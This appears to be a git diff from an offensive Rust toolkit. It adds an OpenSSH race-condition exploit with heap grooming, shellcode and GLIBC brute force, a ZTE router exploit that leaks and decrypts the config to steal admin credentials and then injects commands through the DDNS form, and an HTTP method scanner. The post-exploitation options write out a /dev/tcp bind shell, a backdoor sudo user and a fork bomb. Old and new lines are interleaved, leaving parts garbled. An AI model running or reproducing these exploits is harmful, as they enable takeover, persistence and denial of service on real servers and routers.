packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet).await?;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive response with retry
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -95,261 +141,295 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
}
}
// // Send SSH version string
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive SSH version from server
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await?;
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
// // Send SSH KEX INIT packet
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
// // Receive KEX INIT response
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await?;
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await?;
receive_ssh_version(stream).await?;
send_kex_init(stream).await?;
receive_kex_init(stream).await?;
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data).await?;
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large).await?;
send_packet(stream, 5, &small).await?;
for i in 0..27 {
let large_hole = vec![b'B'; 8192];
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
}
for _ in 0..27 {
for i in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake).await?;
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
Ok(())
}
// // Send malformed public key and measure delay
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet).await?;
send_packet(stream, 50, &error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
}
fn create_fake_file_structure(buf: &mut [u8], base: u64) {
if buf.len() >= 8 {
buf[..8].copy_from_slice(&base.to_le_bytes());
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
}
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
buffer[..8].copy_from_slice(b"ssh-rsa ");
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
}
}
// // Attempt to trigger race condition
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1]).await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
sleep(Duration::from_secs_f64(wait_time)).await;
stream.write_all(&payload[payload.len() - 1..]).await?;
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
1 => {
println!("[+] Root shell enabled - attach manually via SSH");
}
2 => {
println!("[+] Creating persistent user...");
let _ = Command::new("bash")
.arg("-c")
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
.status();
}
3 => {
println!("[!] Triggering fork bomb...");
let _ = Command::new("bash")
.arg("-c")
.arg(":(){ :|:& };:")
.status();
}
_ => println!("[-] Invalid action"),
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("warning high resource usage Caustion!!!");
println!("560k request in 5 seconds");
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
let stdin = stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
println!("Do you want to run more than 10,000 attempts? [y/N or a number like 90000]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let trimmed = input.trim();
let mut attempts = 10000;
if trimmed.eq_ignore_ascii_case("y") {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
} else if let Ok(n) = trimmed.parse::<usize>() {
attempts = n;
}
let (ip, port) = if let Some((ip_part, port_part)) = target.rsplit_once(':') {
let ip_clean = ip_part.trim_matches(|c| c == '[' || c == ']');
(ip_clean.to_string(), port_part.parse::<u16>()?)
} else {
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
stdout().flush()?;
let mut port_input = String::new();
stdin.lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.trim_matches(|c| c == '[' || c == ']').to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(100_000));
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let _mode = mode;
tasks.push(tokio::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
// === NEW: pick a random glibc base each attempt ===
let base = random_glibc_base();
let mut stream = match setup_connection(&ip, port).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream).await.is_err() {
return Ok(false);
}
let Ok(parsing_time) = time_final_packet(&mut stream).await else {
return Ok(false);
};
Ok(attempt_race_condition(stream, parsing_time, base).await.unwrap_or(false))
}));
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
while let Some(result) = tasks.next().await {
match result {
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
}
Ok(Ok(false)) => continue,
Ok(Err(e)) => {
eprintln!("[!] Exploit error: {}", e);
continue;
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Err(join_err) => {
eprintln!("[!] Join error: {}", join_err);
continue;
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
println!("[-] All attempts exhausted.");
Ok(())
execute_exploit_logic(ip_address, port_num).await
}
-4
View File
@@ -1,5 +1 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
+1
View File
@@ -0,0 +1 @@
pub mod zte_zxv10_h201l_rce_authenticationbypass;
@@ -0,0 +1,230 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
io::{Read, Write},
net::TcpStream,
sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
let cipher = Aes128::new_from_slice(key)?;
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
Ok(output)
}
/// Extract host and port from target
fn parse_target(target: &str) -> Result<(String, u16)> {
if target.contains("]:") {
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
let port = parts[0].parse::<u16>()?;
let host = parts[1].trim_start_matches('[').to_string();
return Ok((host, port));
} else if target.contains(':') {
let parts: Vec<&str> = target.splitn(2, ':').collect();
let port = parts[1].parse::<u16>()?;
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
Ok((target.to_string(), port))
}
/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
// Resolve and connect with timeout
let addr = (host, port)
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let timeout = Duration::from_secs(5);
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
let body = format!(
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
boundary, boundary
);
let request = format!(
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
Host: {}:{}\r\n\
Content-Type: multipart/form-data; boundary={}\r\n\
Content-Length: {}\r\n\
Connection: close\r\n\r\n{}",
host, port, boundary, body.len(), body
);
conn.write_all(request.as_bytes())?;
let mut response = vec![];
conn.read_to_end(&mut response)?;
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
let body = &response[start + 4..];
File::create("config.bin")?.write_all(body)?;
}
println!("[+] Config saved to config.bin");
Ok(())
}
/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
let mut encrypted = File::open("config.bin")?;
let mut data = vec![];
encrypted.read_to_end(&mut data)?;
let mut key16 = [0u8; 16];
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
fs::write("decrypted.xml", &decrypted)?;
let xml = fs::read_to_string("decrypted.xml")?;
let username = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("User").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
let password = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("Pass").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
fs::remove_file("config.bin").ok();
fs::remove_file("decrypted.xml").ok();
println!("[+] Decrypted credentials: {} / {}", username, password);
Ok((username, password))
}
/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
println!("[*] Logging in to http://{}:{}/ ...", host, port);
let url = format!("http://{}:{}/", host, port);
let page = session.get(&url).send().await?.text().await?;
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
.and_then(|s| s.split('"').next())
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
let params = [
("Username", username),
("Password", password),
("frashnum", ""),
("Frm_Logintoken", token),
];
session.post(&url).form(&params).send().await?;
println!("[+] Login submitted.");
Ok(())
}
/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
let url = format!("http://{}:{}/", host, port);
session.post(&url).form(&[("logout", "1")]).send().await?;
println!("[*] Logged out.");
Ok(())
}
/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
let inj = format!("user;{};echo", cmd);
inj.replace(" ", "${IFS}")
}
/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
let url = format!(
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
host, port
);
let form = [
("IF_ACTION", "apply"), ("Name", "dyndns"),
("Server", "http://www.dyndns.com/"), ("Username", payload),
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
("DomainName", "hostname"), ("Service", "dyndns"),
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
("RetryInterval0", "60"), ("MaxRetries0", "3"),
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
("RetryInterval1", "60"), ("MaxRetries1", "3"),
("Enable", "1"), ("HostNumber", "")
];
println!("[*] Sending command injection payload...");
session.post(&url).form(&form).send().await?;
println!("[+] Payload delivered.");
Ok(())
}
/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
let cookie_jar = Arc::new(Jar::default());
let session = Client::builder()
.cookie_provider(cookie_jar)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
.build()?;
leak_config(host, port)?;
let (username, password) = decrypt_config(config_key)?;
login(&session, host, port, &username, &password).await?;
let payload = command_injection("echo hacked > /var/tmp/pwned");
set_ddns(&session, host, port, &payload).await?;
logout(&session, host, port).await?;
println!("[✓] Exploit complete.");
Ok(())
}
/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let (host, port) = parse_target(target)?;
let config_key = b"Renjx%2$CjM";
match exploit(config_key, &host, port).await {
Ok(_) => {
println!("[*] Success on {}:{}", host, port);
Ok(())
}
Err(e) => {
println!("[!] Exploit failed: {}", e);
Err(e)
}
}
}
+377
View File
@@ -0,0 +1,377 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::{self, Write};
use std::time::Duration;
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
method: &'static str,
status: Option<StatusCode>,
ok: bool,
error: Option<String>,
duration_ms: u128,
}
struct TargetResult {
target: String,
results: Vec<MethodResult>,
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
for target in &normalized {
println!("\n=== Target: {} ===", target);
let mut method_results = Vec::new();
for &method_name in METHODS {
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
let body = match method_name {
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
_ => None,
};
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
let elapsed = start.elapsed();
match response {
Ok(resp) => {
let status = resp.status();
let ok = status.is_success();
if verbose {
println!(
" [{}] {} -> {} ({:.2?})",
method_name,
target,
status,
elapsed
);
} else {
println!(" [{}] {}", method_name, status);
}
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
if verbose {
println!(
" [{}] {} -> error: {} ({:.2?})",
method_name,
target,
err,
elapsed
);
} else {
println!(" [{}] error: {}", method_name, err);
}
method_results.push(MethodResult {
method: method_name,
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
});
}
}
}
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
});
}
if save_output {
let default_name = format!(
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
fn banner() {
println!(
"{}",
r#"
╔══════════════════════════════════════════════════════╗
║ HTTP METHOD CAPABILITY SCANNER ║
║ Checks support for common verbs ║
╚══════════════════════════════════════════════════════╝
"#
);
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
format!("{}://{}", default_scheme, target)
};
if unique.insert(formatted.clone()) {
normalized.push(formatted);
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
